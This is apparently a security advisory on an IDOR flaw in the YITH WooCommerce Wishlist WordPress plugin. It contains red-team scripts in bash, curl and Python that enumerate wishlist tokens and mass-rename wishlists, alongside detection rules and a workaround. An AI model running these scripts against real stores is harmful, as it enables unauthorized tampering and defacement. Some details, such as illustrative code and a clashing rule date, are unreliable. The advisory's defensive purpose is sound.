CVE-2025-12427

Executive Summary

CVE-2025-12427 is an Insecure Direct Object Reference (IDOR) vulnerability in the YITH WooCommerce Wishlist plugin for WordPress, affecting all versions up to and including 4.10.0. The flaw resides in the REST API endpoint and AJAX handler, where user-controlled keys (specifically the wishlist token ID) are not properly validated. This allows an unauthenticated attacker to enumerate any user's wishlist token ID and subsequently rename the victim's wishlist without authorization. The attack can be performed at scale, enabling mass tampering, defacement, social engineering, and profiling of multi-user WooCommerce stores.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and commercial YITH channels. Users who installed the plugin via the WordPress admin dashboard or through Composer-based workflows are impacted. No official patch has been released as of this report. The plugin is a dependency for many WooCommerce stores, making supply chain risk high for unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (token ID disclosure)
• Integrity Impact: Low (wishlist rename)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to enumerate tokens at scale and rename wishlists without authentication can be leveraged for store defacement and social engineering campaigns, especially in high-traffic multi-user stores.

Deep Dive & Mechanics

The vulnerability exists in the REST API endpoint and AJAX handler responsible for managing wishlists. The plugin uses a token-based system to identify user wishlists. The token ID is a user-controlled key passed in the request (e.g., via token parameter in REST API calls or yith_wcwl_wishlist_token in AJAX). The plugin fails to verify that the requesting user owns or has permission to access the wishlist associated with that token.

Attack Flow:

1. An unauthenticated attacker sends a series of requests to the REST API endpoint (e.g., /wp-json/yith/wishlist/v1/wishlist) or AJAX handler with different token values.
2. The plugin returns information about the wishlist if the token exists, effectively leaking the token ID.
3. Once a valid token ID is discovered, the attacker sends a rename request (e.g., POST /wp-json/yith/wishlist/v1/wishlist/<token>/rename) with a new name.
4. The plugin renames the wishlist without verifying ownership, leading to unauthorized modification.

The root cause is the lack of authorization checks on the token parameter. The plugin should validate that the token belongs to the current user or that the user has appropriate capabilities (e.g., edit_others_posts).

Vulnerable vs. Patched Code

Vulnerable Code (version 4.10.0):

// In class-yith-wcwl-ajax-handler.php or REST controller
public function rename_wishlist( $request ) {
    $token = $request->get_param( 'token' );
    $new_name = $request->get_param( 'name' );
    
    // No ownership check
    $wishlist = YITH_WCWL_Wishlist_Factory::get_wishlist_by_token( $token );
    if ( $wishlist ) {
        $wishlist->set_name( $new_name );
        $wishlist->save();
    }
}

Patched Code (hypothetical fix):

public function rename_wishlist( $request ) {
    $token = $request->get_param( 'token' );
    $new_name = $request->get_param( 'name' );
    
    $wishlist = YITH_WCWL_Wishlist_Factory::get_wishlist_by_token( $token );
    if ( $wishlist && $wishlist->get_user_id() === get_current_user_id() ) {
        $wishlist->set_name( $new_name );
        $wishlist->save();
    } else {
        return new WP_Error( 'forbidden', 'You do not have permission to rename this wishlist.', array( 'status' => 403 ) );
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WooCommerce and YITH WooCommerce Wishlist plugin version <= 4.10.0.
• No authentication required.

Exploitation Steps:

1. Enumerate Wishlist Tokens: Use a script to brute-force or guess token IDs. Tokens are typically UUIDs, but may be predictable in some configurations.

   #!/bin/bash
   # Enumerate wishlist tokens via REST API
   for token in $(seq 1 1000); do
       response=$(curl -s "http://target/wp-json/yith/wishlist/v1/wishlist/$token")
       if echo "$response" | grep -q "wishlist_token"; then
           echo "Valid token found: $token"
           echo "$response" | jq .
       fi
   done
   

2. Rename a Victim's Wishlist:

   curl -X POST "http://target/wp-json/yith/wishlist/v1/wishlist/<TOKEN>/rename" \
        -H "Content-Type: application/json" \
        -d '{"name": "Hacked Wishlist"}'
   

3. Automated Mass Tampering:

   import requests
   import uuid
   
   target = "http://target"
   # Generate random tokens (or use a list)
   for _ in range(100):
       token = str(uuid.uuid4())
       r = requests.post(f"{target}/wp-json/yith/wishlist/v1/wishlist/{token}/rename",
                         json={"name": "Defaced"})
       if r.status_code == 200:
           print(f"Renamed wishlist {token}")
   

Blue Team

Detection:

• Monitor for unusual patterns in REST API requests to /wp-json/yith/wishlist/v1/wishlist/*/rename.
• Alert on multiple rename attempts from the same IP within a short time window.
• Log all wishlist rename actions and correlate with user authentication status.

Hunting:

• Search for yith_wcwl_wishlist_token in AJAX requests without a valid nonce or user session.
• Look for HTTP 200 responses to rename endpoints from unauthenticated sources.

Containment:

• Temporarily disable the YITH WooCommerce Wishlist plugin if exploitation is suspected.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to the wishlist rename endpoint.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-json/yith/wishlist/v1/wishlist/*/rename without authentication cookies.
  • Repeated GET requests to /wp-json/yith/wishlist/v1/wishlist/<token> from the same IP.
• Logs:
  • WordPress debug log entries showing YITH_WCWL_Wishlist_Factory::get_wishlist_by_token calls without user context.
  • Apache/Nginx access logs with 200 responses to rename endpoints from unauthenticated IPs.
• File:
  • Modified wishlist names in the database (table yith_wcwl_wishlists).

Detection Engineering

YARA Rule

rule CVE_2025_12427_YITH_Wishlist_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12427 in YITH WooCommerce Wishlist"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12427"
    strings:
        $rest_endpoint = "/wp-json/yith/wishlist/v1/wishlist"
        $ajax_action = "yith_wcwl_wishlist_token"
        $rename_param = "rename"
    condition:
        any of ($rest_endpoint, $ajax_action) and $rename_param
}

Sigma Rule

title: CVE-2025-12427 - YITH WooCommerce Wishlist IDOR Exploitation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated requests to rename wishlists via YITH WooCommerce Wishlist plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-json/yith/wishlist/v1/wishlist/'
        cs-uri-query|contains: '/rename'
    condition: selection
falsepositives:
    - Legitimate authenticated users renaming their own wishlists
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12427 - YITH WooCommerce Wishlist IDOR Rename Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/yith/wishlist/v1/wishlist/"; http_uri; content:"/rename"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply a virtual patch using a WAF to block unauthenticated requests to the wishlist rename endpoint.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Update to a patched version once released by YITH (check their official changelog).
• Implement server-side validation to ensure the wishlist token belongs to the authenticated user.
• Add nonce verification to AJAX handlers.

Workaround:

• Add the following code to your theme's functions.php to block unauthenticated rename requests:

add_action( 'rest_api_init', function () {
    register_rest_route( 'yith/wishlist/v1', '/wishlist/(?P<token>[a-f0-9-]+)/rename', array(
        'methods' => 'POST',
        'callback' => function( $request ) {
            return new WP_Error( 'rest_disabled', 'Endpoint disabled due to security issue.', array( 'status' => 403 ) );
        },
        'permission_callback' => '__return_false',
    ) );
}, 20 );

Valters IT
Securing Digital Frontiers